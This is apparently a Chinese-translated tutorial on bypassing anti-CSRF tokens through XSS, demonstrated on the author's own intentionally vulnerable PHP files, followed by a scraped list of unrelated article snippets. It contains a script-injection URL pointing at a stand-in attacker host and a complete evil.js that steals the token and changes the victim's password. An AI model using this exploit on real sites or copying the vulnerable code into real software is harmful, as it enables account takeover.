BlAckEagle
BlAckEagle

Token Hijacking with XSS

译者：BlAck.Eagle

首先感谢每位读这篇文章的朋友，我选择“Token Hijacking with XSS”作为标题，并且我将会讲述对于用“anti-csrf”令牌保护的web程序的利用。(也就是突破token保护，继续csrf)

....

正如我所说，我们通过跨站请求伪造攻击， 但需要强调的是劫持javascript代码是我们进攻的重要组成部分。大家都知道很多人会发布一些xss漏洞，如果你认为xss只是用来 alert(/xss/)，我会告诉你错了。因为任何漏洞都不能低估，你们还记得Apache是用JIRA's 的XSS漏洞来攻陷的吗？

有时，如果应用程序不存储客户端的任何有用的数据，发现的XSS漏洞是无用的。但它可以用来csrf啊！

为了写这篇文章，我写了几个简单的程序（它们是如此短小！！），应用程序 有三个文件,命名为“xssable.php”的文件具有XSS漏洞，这很明显，另一个“form.php”是用于发送一个用户更改密码的表单，并且这个 文件创建了一个会话令牌，然后发送给"passwd.php"校验。然后我给出每个文件的代码

Token Hijacking with XSS

xssable.php 

<?php
     
    $user = stripslashes($_GET["user"]);
     
    echo "Hello dear $user";
     
    ?>

form.php

    <?php
     
    session_start();
     
    $token = md5(microtime().rand(1337, 31337));
     
    session_register("anti-csrf-token");
     
    $_SESSION["anti-csrf-token"] = $token;
     
    $username = "admin";
     
    $password = "123456";
     
    ?>
     
    <html>
     
    <body>
     
    <form id="change_password" action="passwd.php" method="POST">
     
    <input type="hidden" name="token" value="<?php echo $token; ?>">
     
    Username: <input type="text" name="uname" value="<?php echo $username; ?>"><br>
     
    Password: <input type="password" name="pwd" value="<?php echo $password; ?>"><br>
     
    <input type="submit" name="change" value="Change">
     
    </form>
     
    </body>
     
    </html>

passwd.php 

<?php
     
    session_start();
     
    $token = $_SESSION["anti-csrf-token"];
     
    $form_token = $_POST["token"];

     
    if ($token == $form_token) {
     
    echo "Your password changed..<br>";
     
    } else
     

     
    {
     
    echo "CSRF Attack Detected!!!";
     
    }
     
    ?>

接下来我利用经典的XSS漏洞，执行我们的邪恶的代码“evil.js”，并且更改用户的密码。我们的payload如下

  1. http://VICTIM/xssable.php?user=<script src=http://ATTACKER/evil.js ></script>

Token Hijacking with XSS

正如你看到的那样，evil.js( 在图片上的demo就是evil.js)会通过XMLHTTPRequest请求form.php，并且通过正则表达式劫持会话令牌，（划横线的部分是要劫持的部分）。

Token Hijacking with XSS

最后，正如你在图2中看到的.这个demo请求passwd.php（通过合法的会话令牌）不要忘记 Demo是你最好的朋友

evil.js代码如下：thanks for robert woyigui menzhi007 

/* evil javascript file.. */
     
    function get_src() {
     
    if(window.ActiveXObject)
     
    {
     
    ajax=new ActiveXObject("Microsoft.XMLHTTP");
     
    }else if(window.XMLHttpRequest)
     
    {
     
    ajax=new XMLHttpRequest();
     
    }
     

     
    ajax.onreadystatechange = function () { get_token(ajax); }
     
    ajax.open("GET", "form.php", true);
     
    ajax.send();
     
    }
     
    function get_token(a) {
     
    if (a.readyState == 4 && a.status == 200) {
     
    var src = a.responseText;
     
    p = /value="([0-9a-f]+)"/;
     
    var token = src.match(p);
     
    params = "token=" + token[1] + "&uname=OWNED&pwd=PWNED";
     
    attack(params);
     
    }
     
    }
     
    function attack(parameters) {
     
    if(window.ActiveXObject)
     
    {
     
    http_request=new ActiveXObject("Microsoft.XMLHTTP");
     
    }else if(window.XMLHttpRequest)
     
    {
     
    http_request=new XMLHttpRequest();
     
    }
     

     
    http_request.onreadystatechange = function () {
     
    if (http_request.readyState == 4 && http_request.status == 200) {
     
    alert("YOU GOT PWNED!!!!\n\n" + http_request.responseText);
     
    }
     
    }
     
    http_request.open('POST', "passwd.php", true);
     
    http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
     
    http_request.setRequestHeader("Content-length", parameters.length);
     
    http_request.setRequestHeader("Connection", "close");
     
    http_request.send(parameters);
     
    }
     
    get_src();

你可能感兴趣的:(Token Hijacking with XSS)

  • Spring Security OAuth2.0在分布式系统中的安全实践
    引言分布式系统架构下，安全认证与授权面临跨服务、高并发、多租户等挑战。SpringSecurity与OAuth2.0的结合为微服务安全提供了标准化解决方案。分布式系统中的安全挑战跨服务身份认证的复杂性令牌管理的可扩展性问题多租户场景下的权限隔离需求防止CSRF、XSS等常见攻击SpringSecurityOAuth2.0核心架构授权服务器设计@EnableAuthorizationServer配置
  • ubuntu的redis反弹shell总结 chanra 萌新随笔ubunturedislinux
    ubuntu的redis反弹shell总结ubuntu要执行有三点：1、ubuntu的默认执行命令的为/bin/dash，我们使用bash-i肯定是弹不了的。2、ubuntu计划任务运行有语法要求，redis写入的文件存在缓存数据，导致语法错误无法运行计划任务。3、文件需要是600rw权限，权限不对也不能运行，不过我直接写入貌似就是600rw。参考链接：http://www.vkxss.top/2
  • python中的 JWT weixin_34355881 pythonjsonphp
    Jsonwebtoken(JWT),是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准（(RFC7519).该token被设计为紧凑且安全的，特别适用于分布式站点的单点登录（SSO）场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息，以便于从资源服务器获取资源，也可以增加一些额外的其它业务逻辑所必须的声明信息，该token也可直接被用于认证，也可被加密。基
  • 【Python】PyJWT：轻松实现 JSON Web Token (JWT) 网络令牌的生成与验证 @Unity打怪升级 Pythonpythonjson网络开发语言前端pipipython
    PyJWT是一个用Python实现的轻量级库，用于处理JSONWebToken(JWT)。JWT是一种安全的方式，用来表示双方之间经过签名的令牌，通常用于认证和授权场景。PyJWT简化了JWT的生成和验证过程，使得开发者能够轻松地在Python项目中集成JWT功能。在这篇博客中，我们将深入介绍PyJWT，展示如何生成、解码和验证JWT令牌，并且会通过代码示例演示如何在实际项目中使用PyJWT进行认
  • RAG流程中，要怎么对文本进行拆词？ java干货仓库 八股文汇总大模型面试人工智能自然语言处理llama
    在RAG（Retrieval-AugmentedGeneration）流程中，对文本的拆词（Tokenization）是影响检索和生成效果的关键步骤。以下是文本拆词的技术细节及优化方法：1.拆词的核心目标检索阶段：确保查询（Query）和文档（Document）的拆词方式一致，提高检索匹配精度。生成阶段：适配大模型的词表，避免生成时的OOV（Out-of-Vocabulary）问题。2.常见拆词方
  • 优化提示内容生成技术框架：提示工程架构师的坚实后盾
    优化提示内容生成技术框架：提示工程架构师的坚实后盾引言背景：大语言模型时代的“提示瓶颈”当GPT-4、Claude3、Gemini等大语言模型（LLM）的参数规模突破万亿、上下文窗口扩展至百万token时，一个矛盾逐渐凸显：模型能力的跃升与提示质量的滞后，正在成为制约AI应用落地的核心瓶颈。2023年斯坦福大学的研究显示，在企业级LLM应用中，70%的功能故障源于提示设计缺陷——或因指令模糊导致输
  • python和vue结合开发前端,请手动配置Vue开发环境 小六oO 智能写作vue.js前端javascript
    vue怎么全局定义一个变量代替路径。原理：设置一个专用的的全局变量模块文件，模块里面定义一些变量初始状态，用exportdefault暴露出去，在里面使用Vue.prototype挂载到vue实例上面或者在其它地方需要使用时，引入该模块便可。全局变量模块文件：文件：constserverSrc='';consttoken='12345678';consthasEnter=false;constus
  • Claude 4 全新上线，科研和写作能力大幅提升！文献检索和综述更容易，实测好用！（附专业提示词） 智写AI AI学术写作指南人工智能
    在2025年5月22日，Claude正式发布了它的4系列模型：Opus4和Sonnet4七哥总结下这两款模型的特点，Sonnet4适合快速响应的任务，Opus4适合需要推理的复杂多步骤任务。两款模型都有20万token的上下文窗口。对科研人员、程序开发者来说，Claude这一代模型不仅性能强悍，还在多项核心能力上实现了突破式进阶。说说最新亮相的Claude4系列模型在多项核心能力上的三大进阶之处：
  • 高级07-Java安全编程：保护你的应用免受攻击 Jinkxs Java高级篇安全java
    引言在当今的数字时代，应用程序的安全性已成为软件开发过程中不可忽视的重要环节。Java作为一门广泛应用于企业级应用开发的编程语言，其安全性问题尤其受到关注。无论是在Web应用、移动应用还是后端服务中，Java开发者都需要面对各种潜在的安全威胁，如SQL注入、跨站脚本攻击（XSS）、跨站请求伪造（CSRF）、身份验证漏洞等。因此，掌握Java安全编程的最佳实践，不仅能够提升应用程序的健壮性，还能有效
  • 【Azure 存储服务】使用REST API操作Azure Storage Table，删除数据(Delete Entity) 云中路灯
    问题描述使用AzureStorageTable的RESTAPI，实现根据过滤条件删除满足条件的数据，调用方法为DeleteEntity(AzureStorage)问题实现第一步：通过AzureStroage门户或者是其他工具(如：AzureStorageExplorer)生成Table的SASTokenimage.png第二步：准备过滤条件，用GETEntity进行验证，看是否可以查询出多条消息示
  • 在 Vue 3 中使用 axios 拦截器处理过期 token 时报错的问题
    使用axios拦截器处理过期token的代码如下所示axios.interceptors.response.use(function(response){console.log('返回结果：',response);returnresponse;},error=>{console.log('返回错误：',error);constresponse=error.response;conststatus=
  • 宝塔开放php openssl,[教程]Centos宝塔面板升级openssl增强nginxSSL安全性，openssl开启Http/2,Centos升级openssl... weixin_39956353 宝塔开放phpopenssl
    由于本站是采用的Centos7+宝塔面板搭建的LNMP环境，但是Centos7默认的openssl版本又太低，根据“漏洞参考这里：https://www.trustasia.com/OpenSSL-CVE-2016-2107-Padding-Oracle”查看这篇文章发现openssl低版本已经有一堆漏洞了，所以就萌生了升级openssl版本的想法。配置完后如图：openssl版本低会导致无论你怎
  • 【Tora3踩坑日记】npx tailwindcss init报错：SyntaxError: Unexpected token ‘?‘ 前端程序媛-Tian Taro踩坑日记tailwindcss
    详细报错信息如下：}=getOptions(name,options??{},false);^SyntaxError:Unexpectedtoken'?'atwrapSafe(internal/modules/cjs/loader.js:915:16)atModule._compile(internal/modules/cjs/loader.js:963:27)atObject.Module._e
  • 零基础学习性能测试第三章：jmeter构建性能业务场景
    目录**一、性能场景构建核心四要素****二、四步构建电商性能场景（含截图级配置）****场景需求**：模拟100用户并发操作，其中：**步骤1：创建基础结构****步骤2：设置用户比例（吞吐量控制器）****步骤3：添加操作间隔（高斯随机定时器）****步骤4：参数化关键数据（CSV驱动）****三、增强场景真实性的关键技巧****1.处理动态Token（关联提取）****2.模拟热点数据（80
  • Gin 框架中如何实现 JWT 鉴权中间件 IsPrisoner gin中间件golangJWT
    在现代Web开发中，安全地验证用户身份是构建可靠应用程序的关键环节。JWT（JSONWebToken）作为一种流行的认证方式，因其简洁、高效和易于扩展等特性，被广泛应用于许多应用中。而Gin框架作为Go语言中一个高性能的HTTPWeb框架，在构建微服务和RESTfulAPI应用中表现卓越。将JWT鉴权集成到Gin框架中，可以为我们的应用提供更安全的用户认证与授权机制。本篇博客将深入探讨如何在Gin
  • Redis + MQ：高并发秒杀的技术方案与实现 Java程序员 拥抱ai 架构springbootjavaredis状态模式数据库
    前言在电商秒杀场景中，瞬间爆发的海量请求往往成为系统的生死考验。当并发量达到数万甚至数十万QPS时，传统数据库单表架构难以支撑，而Redis与消息队列（MQ）的组合凭借其高性能与可靠性，成为应对高并发秒杀的黄金方案。方案总览用户请求→前端生成Token→Redis执行Lua脚本（预扣减+防重+流水）→发送RocketMQ事务消息→ [本地事务校验Redis结果]→MQ消息确认（COMMIT/ROL
  • 王兴兴，一个逆天改命的农村小伙 mingzhi61 黑客渗透测试开发语言网络安全
    《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475
  • SpringBoot集成JWT实现简单登录Demo认证
    一.JWT简介1.什么是JWT？JWT(JSONWebToken)是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准。它将用户信息加密到token里，服务器不保存任何用户信息。服务器通过使用保存的密钥验证token的正确性，只要正确即通过验证；应用场景如用户登录。JWT详细讲解请见github：https://github.com/jwtk/jjwt2.为什么使用JWT？随着技术的发
  • 微信小程序开发框架与工具详解
    一、小程序开发框架与工具介绍小程序开发框架：是一套用于快速构建小程序的开发框架，提供了丰富的组件和API，使得开发者能够快速搭建小程序，并实现丰富的功能。小程序开发工具：是用于辅助小程序开发的工具，提供了代码编辑、调试、预览等功能，使得开发者能够更加高效地进行开发和调试。二、微信小程序开发框架原生框架：原生框架是指基于微信官方提供的原生组件和API进行开发，使用WXML模板语言、WXSS样式语言和
  • 微信小程序动态柱状图实现案例分析
    本文还有配套的精品资源，点击获取简介：微信小程序是一种面向移动端的应用开发平台，利用WXML和WXSS以及JavaScript进行开发。本文介绍了如何在微信小程序中实现动态柱状图的实例，涵盖了数据驱动、使用图表库、生命周期方法、动画效果、事件处理、布局与样式设计、API调用以及调试与发布等关键知识点。通过实际案例源码分析，帮助开发者深入理解动态柱状图的实现过程和技术要点。1.微信小程序开发基础微信
  • 微信小程序 环形进度条_微信小程序：实时圆形进度条实现 武奘 微信小程序环形进度条
    第九程序给大家带来微信小程序：实时圆形进度条实现，希望大家在开发小程序过程中能够帮助大家解决。废话不多说，先上一张效果图！实现思路建立两个canvas标签，先绘制底层的浅灰色圆圈背景，再绘制上层的红色进度条。WXML代码开始动态绘制WXSS代码特别注意：底层的canvas最好使用z-index:-99；放置于底层page{width:100%;height:100%;background-colo
  • 如何实现零成本裂变?微信推客带货小程序开发功能模式全解析 开发加微信：hedian116 微信
    引言在当今社交电商蓬勃发展的背景下，微信推客系统作为一种基于社交关系的分销模式，其技术实现和架构设计值得开发者深入探讨。本文将从技术角度分析微信推客系统的核心组件和实现原理，避免商业营销，专注于技术层面的分享。一、微信推客系统的基本架构1.1前端架构微信推客系统通常采用混合开发模式：小程序前端：使用WXML+WXSS+JavaScript技术栈H5页面：Vue.js或React框架实现跨平台兼容原
  • 微信小程序之自定义模态弹窗（带动画）实例-——-微信小程序实战系列（8）(1) 2401_84149213 程序员微信小程序notepad++小程序
    这样的模态弹窗，充其量只能做个alert，提示一下信息。但是并不能使用它来处理复杂性的弹窗业务，因此写了Michael从新自定义了一个，采用了仿原生的样式写法wxml：button弹窗标题标题标题标题标题备注确定wxss：/button/.btn{width:80%;padding:20rpx0;border-radius:10rpx;text-align:center;margin:40rpx1
  • 代码随想录算法训练营day11(python版）|第五章 栈与队列part02| 150. 逆波兰表达式求值 239. 滑动窗口最大值347.前 K 个高频元素 清水泛轻舟 算法
    目录150.逆波兰表达式求值题目代码注意点测试239.滑动窗口最大值（有点难度，可能代码写不出来，但一刷至少需要理解思路）题目思路代码347.前K个高频元素（有点难度，可能代码写不出来，一刷至少需要理解思路）题目思路代码总结150.逆波兰表达式求值本题不难，但第一次做的话，会很难想到，所以先看视频，了解思路再去做题题目链接/文章讲解/视频讲解：代码随想录题目给你一个字符串数组tokens，表示一个
  • 2025年7月23日 AI 今日头条 tanak AI日报信息差人工智能microsoft
    阿里通义千问发布Qwen3-Coder，编程能力超越GPT-4.1阿里通义千问团队推出Qwen3-Coder-480B-A35B-Instruct，采用4800亿参数混合专家模型，支持256Ktoken上下文，并通过YaRN技术扩展至1Mtoken。在LiveBench、BigCodeBench等编程评测中，该模型表现优异，超越GPT-4.1，尤其在复杂代码调试和多语言支持上展现出强大能力。阿里计
  • AAAI 2024 | TMFormer：用于缺失模态脑肿瘤分割的令牌合并Transformer 小白学视觉 医学图像处理论文解读transformer深度学习人工智能AAAI论文解读计算机顶会
    论文信息题目：TMFormer:TokenMergingTransformerforBrainTumorSegmentationwithMissingModalitiesTMFormer：用于缺失模态脑肿瘤分割的令牌合并Transformer作者：ZheyuZhang,GangYang,YueyiZhang,HuanjingYue,AipingLiu,YunweiOu,JianGong,Xiaoy
  • 2024年前端面试题及答案 2401_84433924 程序员前端
    所谓同源是指"协议+域名+端口"三者相同，即便两个不同的域名指向同一个ip地址，也非同源。它是浏览器最核心也最基本的安全功能，如果缺少了同源策略，浏览器很容易受到XSS、CSFR等攻击。3如何解决跨域？能说1，2，7，8就行。1、通过jsonp跨域2、CORS3、document.domain+iframe跨域4、location.hash+iframe5、window.name+iframe跨域
  • 【AIGC调研系列】敢于挑战Transformer的新架构Megalodon有什么优势 Zachary AI AIGC调研相关AIGCtransformer架构
    Megalodon作为一种新架构，其优势主要体现在以下几个方面：无限上下文处理能力：Megalodon能够处理无限上下文，这一点在多个证据中得到了强调[1][2][3]。这意味着它能够在处理长文本时保持高效和准确，而不会因为上下文长度的限制而降低性能。高性能：在2万亿token的训练任务中，Megalodon的性能超越了Llama2-7B，实现了非凡的效率[1][2][3]。这表明Megalodo
  • XSS基础 Z_zz_Z___ xss前端php
    一、xss的基本介绍在现代的网站中包含有许多大量动态的内容，而恶意攻击者会在Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。动态的站点就受到“跨站脚本攻击”（CrossSiteScripting简称xss）。跨站脚本攻击是一种针对网站应用程序的安全漏洞攻击技术，是代码注入的一种，恶意用户利用xss代码攻击成功后，可
  • 携程机票token1001 分析 wx a15018601872 pythonjavanodetoken携程tokentoken1001携程机票
    声明本文章中所有内容仅供学习交流使用，不用于其他任何目的，抓包内容、敏感网址、数据接口等均已做脱敏处理，严禁用于商业用途和非法用途，否则由此产生的一切后果均与作者无关！部分Python代码headers={'accept':'application/json','accept-language':'zh-CN,zh;q=0.9','cache-control':'no-cache','rms-to
  • java线程Thread和Runnable区别和联系 zx_code javajvmthread多线程Runnable
    我们都晓得java实现线程2种方式，一个是继承Thread，另一个是实现Runnable。 模拟窗口买票，第一例子继承thread，代码如下 package thread; public class ThreadTest { public static void main(String[] args) { Thread1 t1 = new Thread1(
  • 【转】JSON与XML的区别比较 丁_新 jsonxml
    1.定义介绍 (1).XML定义 扩展标记语言 (Extensible Markup Language, XML) ，用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。 XML使用DTD(document type definition)文档类型定义来组织数据;格式统一，跨平台和语言，早已成为业界公认的标准。 XML是标
  • c++ 实现五种基础的排序算法 CrazyMizzz C++c算法
    #include<iostream> using namespace std; //辅助函数，交换两数之值 template<class T> void mySwap(T &x, T &y){ T temp = x; x = y; y = temp; } const int size = 10; //一、用直接插入排
  • 我的软件 麦田的设计者 我的软件音乐类娱乐放松
         这是我写的一款app软件，耗时三个月，是一个根据央视节目开门大吉改变的，提供音调，猜歌曲名。1、手机拥有者在android手机市场下载本APP，同意权限，安装到手机上。2、游客初次进入时会有引导页面提醒用户注册。（同时软件自动播放背景音乐）。3、用户登录到主页后，会有五个模块。a、点击不胫而走，用户得到开门大吉首页部分新闻，点击进入有新闻详情。b、
  • linux awk命令详解 被触发 linux awk
    awk是行处理器: 相比较屏幕处理的优点，在处理庞大文件时不会出现内存溢出或是处理缓慢的问题，通常用来格式化文本信息 awk处理过程: 依次对每一行进行处理，然后输出 awk命令形式: awk [-F|-f|-v] ‘BEGIN{} //{command1; command2} END{}’ file [-F|-f|-v]大参数，-F指定分隔符，-f调用脚本，-v定义变量 var=val
  • 各种语言比较 _wy_ 编程语言
                        Java Ruby PHP 擅长领域                  
  • oracle 中数据类型为clob的编辑 知了ing oracle clob
    public void updateKpiStatus(String kpiStatus,String taskId){ Connection dbc=null; Statement stmt=null; PreparedStatement ps=null; try { dbc = new DBConn().getNewConnection(); //stmt = db
  • 分布式服务框架 Zookeeper -- 管理分布式环境中的数据 矮蛋蛋 zookeeper
    原文地址： http://www.ibm.com/developerworks/cn/opensource/os-cn-zookeeper/ 安装和配置详解 本文介绍的 Zookeeper 是以 3.2.2 这个稳定版本为基础，最新的版本可以通过官网 http://hadoop.apache.org/zookeeper/来获取，Zookeeper 的安装非常简单，下面将从单机模式和集群模式两
  • tomcat数据源 alafqq tomcat
    数据库 JNDI(Java Naming and Directory Interface，Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API。 没有使用JNDI时我用要这样连接数据库： 03.  Class.forName("com.mysql.jdbc.Driver");  04.  conn
  • 遍历的方法 百合不是茶 遍历
                                                          遍历 在java的泛
  • linux查看硬件信息的命令 bijian1013 linux
    linux查看硬件信息的命令 一.查看CPU： cat /proc/cpuinfo   二.查看内存： free   三.查看硬盘： df   linux下查看硬件信息 1、lspci 列出所有PCI 设备； lspci - list all PCI devices:列出机器中的PCI设备（声卡、显卡、Modem、网卡、USB、主板集成设备也能
  • java常见的ClassNotFoundException bijian1013 java
    1.java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory   添加包common-logging.jar2.java.lang.ClassNotFoundException: javax.transaction.Synchronization    
  • 【Gson五】日期对象的序列化和反序列化 bit1129 反序列化
    对日期类型的数据进行序列化和反序列化时，需要考虑如下问题：   1. 序列化时，Date对象序列化的字符串日期格式如何 2. 反序列化时，把日期字符串序列化为Date对象，也需要考虑日期格式问题 3. Date A -> str -> Date B,A和B对象是否equals   默认序列化和反序列化     import com
  • 【Spark八十六】Spark Streaming之DStream vs. InputDStream bit1129 Stream
      1. DStream的类说明文档：   /** * A Discretized Stream (DStream), the basic abstraction in Spark Streaming, is a continuous * sequence of RDDs (of the same type) representing a continuous st
  • 通过nginx获取header信息 ronin47 nginx header
    1. 提取整个的Cookies内容到一个变量，然后可以在需要时引用，比如记录到日志里面， if ( $http_cookie ~* "(.*)$") {         set $all_cookie $1; }     变量$all_cookie就获得了cookie的值，可以用于运算了
  • java-65.输入数字n，按顺序输出从1最大的n位10进制数。比如输入3，则输出1、2、3一直到最大的3位数即999 bylijinnan java
    参考了网上的http://blog.csdn.net/peasking_dd/article/details/6342984 写了个java版的： public class Print_1_To_NDigit { /** * Q65.输入数字n，按顺序输出从1最大的n位10进制数。比如输入3，则输出1、2、3一直到最大的3位数即999 * 1.使用字符串
  • Netty源码学习-ReplayingDecoder bylijinnan javanetty
    ReplayingDecoder是FrameDecoder的子类，不熟悉FrameDecoder的，可以先看看 http://bylijinnan.iteye.com/blog/1982618 API说，ReplayingDecoder简化了操作，比如： FrameDecoder在decode时，需要判断数据是否接收完全： public class IntegerH
  • js特殊字符过滤 cngolon js特殊字符js特殊字符过滤
    1.js中用正则表达式 过滤特殊字符, 校验所有输入域是否含有特殊符号function stripscript(s) {    var pattern = new RegExp("[`~!@#$^&*()=|{}':;',\\[\\].<>/?~！@#￥……&*（）&mdash;—|{}【】‘；：”“'。，、？]"
  • hibernate使用sql查询 ctrain Hibernate
    import java.util.Iterator; import java.util.List; import java.util.Map; import org.hibernate.Hibernate; import org.hibernate.SQLQuery; import org.hibernate.Session; import org.hibernate.Transa
  • linux shell脚本中切换用户执行命令方法 daizj linuxshell命令切换用户
    经常在写shell脚本时，会碰到要以另外一个用户来执行相关命令，其方法简单记下：   1、执行单个命令：su - user -c "command" 如：下面命令是以test用户在/data目录下创建test123目录 [root@slave19 /data]# su - test -c "mkdir /data/test123" 
  • 好的代码里只要一个 return 语句 dcj3sjt126com return
    别再这样写了：public boolean foo() {    if (true) {         return true;     } else {          return false;    
  • Android动画效果学习 dcj3sjt126com android
    1、透明动画效果 方法一：代码实现 public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View rootView = inflater.inflate(R.layout.fragment_main, container, fals
  • linux复习笔记之bash shell (4)管道命令 eksliang linux管道命令汇总linux管道命令linux常用管道命令
    转载请出自出处： http://eksliang.iteye.com/blog/2105461     bash命令执行的完毕以后，通常这个命令都会有返回结果，怎么对这个返回的结果做一些操作呢？那就得用管道命令‘|’。     上面那段话，简单说了下管道命令的作用，那什么事管道命令呢？     答：非常的经典的一句话，记住了，何为管
  • Android系统中自定义按键的短按、双击、长按事件 gqdy365 android
    在项目中碰到这样的问题： 由于系统中的按键在底层做了重新定义或者新增了按键，此时需要在APP层对按键事件（keyevent）做分解处理，模拟Android系统做法，把keyevent分解成： 1、单击事件：就是普通key的单击； 2、双击事件：500ms内同一按键单击两次； 3、长按事件：同一按键长按超过1000ms（系统中长按事件为500ms）； 4、组合按键：两个以上按键同时按住；
  • asp.net获取站点根目录下子目录的名称 hvt .netC#asp.nethovertreeWeb Forms
    使用Visual Studio建立一个.aspx文件(Web Forms)，例如hovertree.aspx,在页面上加入一个ListBox代码如下： <asp:ListBox runat="server" ID="lbKeleyiFolder" />   那么在页面上显示根目录子文件夹的代码如下： string[] m_sub
  • Eclipse程序员要掌握的常用快捷键 justjavac javaeclipse快捷键ide
      判断一个人的编程水平，就看他用键盘多，还是鼠标多。用键盘一是为了输入代码（当然了，也包括注释），再有就是熟练使用快捷键。   曾有人在豆瓣评 《卓有成效的程序员》：“人有多大懒，才有多大闲”。之前我整理了一个 程序员图书列表，目的也就是通过读书，让程序员变懒。  写道 程序员作为特殊的群体，有的人可以这么懒，懒到事情都交给机器去做，而有的人又可
  • c++编程随记 lx.asymmetric C++笔记
     为了字体更好看，改变了格式……   &&运算符：   #include<iostream> using namespace std; int main(){      int a=-1,b=4,k;      k=(++a<0)&&!(b--
  • linux标准IO缓冲机制研究 音频数据 linux
    一、什么是缓存I/O(Buffered I/O)缓存I/O又被称作标准I/O,大多数文件系统默认I/O操作都是缓存I/O。在Linux的缓存I/O机制中，操作系统会将I/O的数据缓存在文件系统的页缓存(page cache)中，也就是说，数据会先被拷贝到操作系统内核的缓冲区中，然后才会从操作系统内核的缓冲区拷贝到应用程序的地址空间。1.缓存I/O有以下优点:A.缓存I/O使用了操作系统内核缓冲区，
  • 随想 生活 暗黑小菠萝 生活
    其实账户之前就申请了，但是决定要自己更新一些东西看也是最近。从毕业到现在已经一年了。没有进步是假的，但是有多大的进步可能只有我自己知道。   毕业的时候班里12个女生，真正最后做到软件开发的只要两个包括我，PS：我不是说测试不好。当时因为考研完全放弃找工作，考研失败，我想这只是我的借口。那个时候才想到为什么大学的时候不能好好的学习技术，增强自己的实战能力，以至于后来找工作比较费劲。我
  • 我认为POJO是一个错误的概念 windshome javaPOJO编程J2EE设计
                  这篇内容其实没有经过太多的深思熟虑，只是个人一时的感觉。从个人风格上来讲，我倾向简单质朴的设计开发理念；从方法论上，我更加倾向自顶向下的设计；从做事情的目标上来看，我追求质量优先，更愿意使用较为保守和稳妥的理念和方法。    &
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他